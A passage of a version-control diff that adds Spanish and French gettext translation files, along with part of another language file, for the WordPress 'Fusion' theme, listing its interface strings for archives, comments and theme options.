+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Use custom logo image"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Disable homepage tab"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Show the categories as header tabs"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "(instead of pages)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:129
+msgid "Default page content width:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:141
+msgid "Sidebar position:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:144
+msgid "Right (default)"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:148
+msgid "Left"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Custom CSS code"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:160
+msgid "Save Changes"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+#, php-format
+msgid "%s by %s at %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "H:i"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:224
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Reply"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:234
+msgid "Quote"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+msgid "You are Home"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:152
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Home"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:154
+msgid "Click for Home"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+msgid "Not Found"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:62
+msgid "Archives"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:73
+msgid "Meta"
+msgstr ""
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr ""
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/es_ES.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/es_ES.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/es_ES.po	(revision 44)
@@ -0,0 +1,578 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.6\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-04-17 23:38+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: digitalnature.ro <blog@almendron.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Spanish\n"
+"X-Poedit-Country: SPAIN\n"
+"X-Poedit-Basepath: ../\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: 404.php:6
+msgid "Page not found (404)"
+msgstr "PÃ¡gina no encontrada"
+
+#: archive.php:9
+#, php-format
+msgid "Archive for category %s"
+msgstr "Archivo categorÃ­a %s"
+
+#: archive.php:11
+#, php-format
+msgid "Posts Tagged %s"
+msgstr "Archivo etiqueta %s"
+
+#: archive.php:13
+#: archive.php:15
+#: archive.php:17
+#, php-format
+msgid "Archive for %s"
+msgstr "Archivo %s"
+
+#: archive.php:13
+#: archive.php:35
+#: functions.php:229
+#: index.php:20
+msgid "F jS, Y"
+msgstr "j/M/Y"
+
+#: archive.php:15
+msgid "F, Y"
+msgstr "F, Y"
+
+#: archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: archive.php:19
+msgid "Author Archive"
+msgstr "Archivo Autor"
+
+#: archive.php:21
+msgid "Blog Archives"
+msgstr "Archivo Blog"
+
+#: archive.php:30
+#: index.php:15
+msgid "Permanent Link:"
+msgstr "Enlace Permanente: "
+
+#: archive.php:35
+#: index.php:20
+#, php-format
+msgid "Posted by %s in %s on %s"
+msgstr "Por %s - %s - %s"
+
+#: archive.php:35
+#: author.php:33
+#: index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Escrito por %s"
+
+#: archive.php:40
+#: image.php:17
+#: index.php:26
+msgid "Read the rest of this entry &raquo;"
+msgstr "Leer el resto de la entrada &raquo;"
+
+#: archive.php:52
+#: author.php:42
+#: index.php:38
+#: search.php:27
+msgid "No Comments"
+msgstr "No hay Comentarios"
+
+#: archive.php:52
+#: author.php:42
+#: index.php:38
+#: search.php:27
+msgid "1 Comment"
+msgstr "1 Comentario"
+
+#: archive.php:52
+#: author.php:42
+#: index.php:38
+#: search.php:27
+msgid "% Comments"
+msgstr "% Comentarios"
+
+#: archive.php:63
+#: author.php:49
+#: index.php:48
+#: search.php:13
+#: search.php:34
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Entradas mÃ¡s antiguas"
+
+#: archive.php:64
+#: author.php:50
+#: index.php:49
+#: search.php:14
+#: search.php:35
+msgid "Newer Entries &raquo;"
+msgstr "Entradas mÃ¡s recientes &raquo;"
+
+#: archive.php:70
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Lo sentimos, no hay entradas en la categorÃ­a %s."
+
+#: archive.php:72
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Lo sentimos, no hay entradas en la fecha seleccionada."
+
+#: archive.php:75
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Lo sentimos, no hay entradas escritas por %s."
+
+#: archive.php:77
+msgid "No posts found."
+msgstr "No se encontraron entradas."
+
+#: archives.php:10
+msgid "Archives by Month:"
+msgstr "Archivo por Mes:"
+
+#: archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archivo por asunto:"
+
+#: author.php:16
+msgid "This user hasn't shared any biographical information"
+msgstr "Este usuario no ha comparido informaciÃ³n biogrÃ¡fica"
+
+#: author.php:21
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: author.php:22
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: author.php:23
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: author.php:24
+msgid "AIM:"
+msgstr "AIM:"
+
+#: author.php:41
+#: image.php:31
+#: search.php:26
+msgid "l, F jS, Y"
+msgstr "l, j/M/Y"
+
+#: author.php:42
+#: search.php:27
+msgid "Tags: "
+msgstr "Etiquetas:"
+
+#: author.php:42
+#: search.php:27
+#, php-format
+msgid "Posted in %s"
+msgstr "Archivado en %s"
+
+#: author.php:42
+#: search.php:27
+msgid "Edit"
+msgstr "Editar"
+
+#: author.php:55
+msgid "No posts found by this author."
+msgstr "No se encontraron entradas de ese autor."
+
+#: comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Entre su contrseÃ±a para ver el comentario"
+
+#: comments.php:21
+msgid "Comments"
+msgstr "Comentarios"
+
+#: comments.php:22
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: comments.php:41
+msgid "No comments yet."
+msgstr "No hay Comentarios"
+
+#: comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Debe estar <a href=\"%s\">registrado</a> para comentar en esta entrada."
+
+#: comments.php:69
+msgid "Cancel Reply"
+msgstr "Cancelar respuesta"
+
+#: comments.php:75
+#, php-format
+msgid "Logged in as %s."
+msgstr "Registrado como %s."
+
+#: comments.php:77
+msgid "Log out of this account"
+msgstr "Salir de esta cuenta"
+
+#: comments.php:77
+msgid "Logout &raquo;"
+msgstr "Salir &raquo;"
+
+#: comments.php:81
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bienvenido de nuevo <strong>%s</strong>."
+
+#: comments.php:81
+msgid "Change &raquo;"
+msgstr "Cambiar &raquo;"
+
+#: comments.php:81
+msgid "Close &raquo;"
+msgstr "Cerrar &raquo;"
+
+#: comments.php:86
+msgid "Name"
+msgstr "Nombre"
+
+#: comments.php:86
+#: comments.php:90
+msgid "(required)"
+msgstr "(Requerido)"
+
+#: comments.php:90
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: comments.php:90
+msgid "(will not be published)"
+msgstr "(No serÃ¡ publicado)"
+
+#: comments.php:94
+msgid "Website"
+msgstr "Website"
+
+#: comments.php:112
+msgid "Submit Comment"
+msgstr "Enviar Comentario"
+
+#: comments.php:129
+msgid "No trackbacks yet."
+msgstr "No hay trackbacks"
+
+#: comments.php:142
+msgid "Comments are closed."
+msgstr "Los Comentarios estÃ¡n cerrados"
+
+#: footer.php:21
+#, php-format
+msgid "Fusion theme by %s"
+msgstr "Fusion theme by %s"
+
+#: footer.php:23
+#, php-format
+msgid "powered by %s"
+msgstr "powered by %s"
+
+#: footer.php:26
+msgid "Entries (RSS)"
+msgstr "Entradas (RSS)"
+
+#: footer.php:26
+msgid "and"
+msgstr "y"
+
+#: footer.php:26
+msgid "Comments (RSS)"
+msgstr "Comentarios (RSS)"
+
+#: footer.php:33
+msgid "Increase/Decrease text size"
+msgstr "Aumentar/Dismunir tamaÃ±o texto"
+
+#: footer.php:34
+msgid "Switch between full and fixed width"
+msgstr "Cambiar entre fluido y anchura fija"
+
+#: functions.php:85
+#: functions.php:93
+msgid "Fusion Theme Options"
+msgstr "Opciones tema Fusion"
+
+#: functions.php:96
+msgid "Meta keywords:"
+msgstr "Palabras clave"
+
+#: functions.php:97
+msgid "Separate with commas"
+msgstr "Separar con comas"
+
+#: functions.php:102
+msgid "Use custom logo image"
+msgstr "Usar una imagen personalizada como logo"
+
+#: functions.php:102
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Subir su imagen (logo) como \"logo.png\" al directorio del tema: "
+
+#: functions.php:102
+msgid "You should export the logo image with transparency enabled"
+msgstr "Debe exportar su imagen con la transparencia activada"
+
+#: functions.php:107
+msgid "Disable homepage tab"
+msgstr "Desactivar pestaÃ±a \"home\" en la cabecera"
+
+#: functions.php:107
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Marcar esta opciÃ³n si usa una pÃ¡gina estÃ¡tica como homepage"
+
+#: functions.php:112
+msgid "Show the categories as header tabs"
+msgstr "Mostrar las categorÃ­as como pestaÃ±as en la cabecera"
+
+#: functions.php:112
+msgid "(instead of pages)"
+msgstr "(en lugar de las pÃ¡ginas)"
+
+#: functions.php:117
+msgid "Disable the default category block in the sidebar"
+msgstr "Desactivar el bloque \"categorÃ­as\" en el sidebar"
+
+#: functions.php:117
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Marque esta opciÃ³n si desea usar un widget distinto para las categorÃ­as o si quiere tan solo ocultar las categorÃ­as en el sidebar"
+
+#: functions.php:122
+msgid "Disable the default search block in the sidebar"
+msgstr "Desactivar buscador en el sidebar"
+
+#: functions.php:122
+msgid "Check if you don't like the theme-default search look"
+msgstr "Marcar si no le gusta el aspecto por defecto del buscador"
+
+#: functions.php:127
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Desactivar controles (Aa/<>)"
+
+#: functions.php:129
+msgid "Default page content width:"
+msgstr "Anchura por defecto:"
+
+#: functions.php:132
+msgid "Fixed (960 pixels)"
+msgstr "Fijo (960 pixeles)"
+
+#: functions.php:136
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Fluido (95 por ciento de la anchura de la pantalla del visitante)"
+
+#: functions.php:137
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Nota: la configuraciÃ³n del visitante (cookie) puede sobrescribir esta opciÃ³n"
+
+#: functions.php:141
+msgid "Sidebar position:"
+msgstr "PosiciÃ³n del sidebar"
+
+#: functions.php:144
+msgid "Right (default)"
+msgstr "Derecha (por defecto)"
+
+#: functions.php:148
+msgid "Left"
+msgstr "Izquierda"
+
+#: functions.php:154
+msgid "Disable jQuery and the associated code"
+msgstr "Desactivar jQuery y cÃ³digo asociado"
+
+#: functions.php:154
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "ReducirÃ¡ la carga de la pÃ¡gina (~70 KB), pero tambiÃ©n desactivarÃ¡ algunas caracterÃ­sticas (control anchura, enlaces rss en el menÃº de categorÃ­as, pestaÃ±as en comentarios y trackbacks) y todos los efectos.<br />Salvo que tenga problemas de ancho de banda en su servidor, no deberÃ­a desactivar esta caraterÃ­stica."
+
+#: functions.php:157
+msgid "Custom CSS code"
+msgstr "CÃ³digo CSS personalizado"
+
+#: functions.php:157
+#, php-format
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check %s to see existing styles, which you can redefine here."
+msgstr "AquÃ­ puede aÃ±adir o cambiar aspectos relacionados con el diseÃ±o si tiene conocimientos de CSS. Comprobar %s estilos existentes, que puede redefinir aquÃ­."
+
+#: functions.php:157
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "No modifique style.css si desea conservar los cambios despuÃ©s de actualizar tema. Utilice esta opciÃ³n para no perder los cambios."
+
+#: functions.php:160
+msgid "Save Changes"
+msgstr "Guardar Cambios"
+
+#: functions.php:229
+#, php-format
+msgid "%s by %s at %s"
+msgstr "%s por %s el %s"
+
+#: functions.php:229
+msgid "H:i"
+msgstr "H:i"
+
+#: functions.php:236
+msgid "Your comment is awaiting moderation."
+msgstr "Su comentario estÃ¡ pendiente de moderaciÃ³n"
+
+#: functions.php:246
+msgid "Reply"
+msgstr "Contestar"
+
+#: functions.php:246
+msgid "Quote"
+msgstr "Citar"
+
+#: header.php:152
+msgid "You are Home"
+msgstr "Inicio"
+
+#: header.php:152
+#: header.php:154
+msgid "Home"
+msgstr "Home"
+
+#: header.php:154
+msgid "Click for Home"
+msgstr "Click para ir al inicio"
+
+#: image.php:31
+#, php-format
+msgid "This entry was posted on %s and is filed under %s. You can follow any responses to this entry through %s."
+msgstr "Esta entrada fue escrita el %s y archivada en %s. Puedes seguir las respuestas en esta entrada a travÃ©s de %s."
+
+#: image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Puede <a href=\"#respond\">dejar una respuesta</a>, o hacer <a href=\"%s\" rel=\"trackback\">trackback</a> desde su propio sitio."
+
+#: image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Los comentarios estÃ¡n actualmente cerrados, pero puede hacer <a href=\"%s\" rel=\"trackback\">trackback</a> desde su propio sitio."
+
+#: image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Puede dejar una respuesta. Los Pings no estÃ¡n actualmente permitidos."
+
+#: image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Tanto los comentarios como los pings estÃ¡n actualmente cerrados."
+
+#: image.php:49
+msgid "Edit this entry"
+msgstr "Editar esta entrada"
+
+#: image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Lo sentimos, no se han encontrado tÃ©rminos que respondan a su criterio."
+
+#: index.php:54
+msgid "Not Found"
+msgstr "No encontrado"
+
+#: index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Lo sentimos, pero estÃ¡ buscando algo que no estÃ¡ aquÃ­."
+
+#: links.php:10
+msgid "Links:"
+msgstr "Enlaces:"
+
+#: page-3col.php:20
+#: page-nosidebar.php:21
+#: page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Leer el resto de la entrada &raquo;"
+
+#: search.php:8
+msgid "Search Results"
+msgstr "Resultados de la bÃºsqueda"
+
+#: search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "No se ha encontrado nada. Pruebe a realizar una bÃºsqueda distinta."
+
+#: searchform.php:8
+msgid "Search"
+msgstr "Buscar"
+
+#: sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "EstÃ¡s navegando por los archivos de la categorÃ­a %s."
+
+#: sidebar.php:23
+#: sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "EstÃ¡s navegando por los archivos de %s"
+
+#: sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "EstÃ¡s navegando por los archivos del aÃ±o %s"
+
+#: sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "Ha buscado en los archivos para %s"
+
+#: sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "EstÃ¡ navegando por el archivo."
+
+#: sidebar.php:62
+msgid "Archives"
+msgstr "Archivo"
+
+#: sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "Lo sentimos, no se han econtrado entradas que respondan a su criterio."
+
+#~ msgid "on"
+#~ msgstr "el"
+#~ msgid "to see existing styles, which you can redefine here."
+#~ msgstr "para ver los estilos existentes, los cuales puede redifinir aquÃ­."
+#~ msgid "by"
+#~ msgstr "por"
+#~ msgid "%1$s at %2$s"
+#~ msgstr "%1$s a las %2$s"
+#~ msgid "This entry was posted on"
+#~ msgstr "Esta entrada fue escrita el "
+#~ msgid "and is filed under"
+#~ msgstr "y archivada en "
+#~ msgid "Subscribe to comments feed"
+#~ msgstr "Suscribirse a los comentarios (vÃ­a feed)"
+#~ msgid "Leave a comment"
+#~ msgstr "Deja tu comentario"
+#~ msgid "Sorry, the comment form is closed at this time."
+#~ msgstr "Lo siento, los comentarios estÃ¡n actualmente cerrados."
+#~ msgid "Close this window."
+#~ msgstr "Cerrar esta ventana."
+#~ msgid "Disable the \"<>\" layout-type switcher"
+#~ msgstr "Desactivar el interrptor \"<>\" (cambio de anchura)"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/fr_FR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/fr_FR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/fr_FR.po	(revision 44)
@@ -0,0 +1,573 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.0\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-22 14:31+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: digitalnature <hello@digitalnature.ro>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: French\n"
+"X-Poedit-Country: FRANCE\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "Page non trouvÃ©e (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Archives de la catÃ©gorie"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Tags de l'article"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Archive pour"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Archive de l'auteur"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Blog Archives"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "RÃ©troliens Ã "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "PostÃ© par %s dans %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "PostÃ© par %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "le"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "Lire la suite &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Pas de commentaires"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 Commentaire"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% Commentaires"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Page prÃ©cÃ©dente"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Page suivante &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "DÃ©solÃ©, mais il n'y a pas encore d'articles dans la catÃ©gorie %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
